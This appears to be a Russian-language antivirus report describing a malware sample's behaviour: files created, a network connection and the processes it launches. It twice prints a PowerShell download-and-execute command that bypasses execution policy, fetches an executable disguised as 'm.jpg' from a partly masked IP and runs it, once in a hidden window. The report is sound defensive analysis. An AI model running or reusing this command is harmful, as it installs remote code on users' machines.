Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -executionpolicy bypass import-module bitstransfer;start-bitstransfer -source 'http://10#.#1.219.228/m.jpg' -destination '%appdata%/\s.exe';start-process '%appdata%\s.exe'
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1512
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\488875.cvr
Сетевая активность
Подключается к
- '10#.#1.219.228':80
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c powershell.exe -executionpolicy bypass import-module bitstransfer;start-bitstransfer -source 'http://10#.#1.219.228/m.jpg' -destination '%appdata%/\s.exe';start-process '%appdata%\s.exe'' (со скрытым окном)
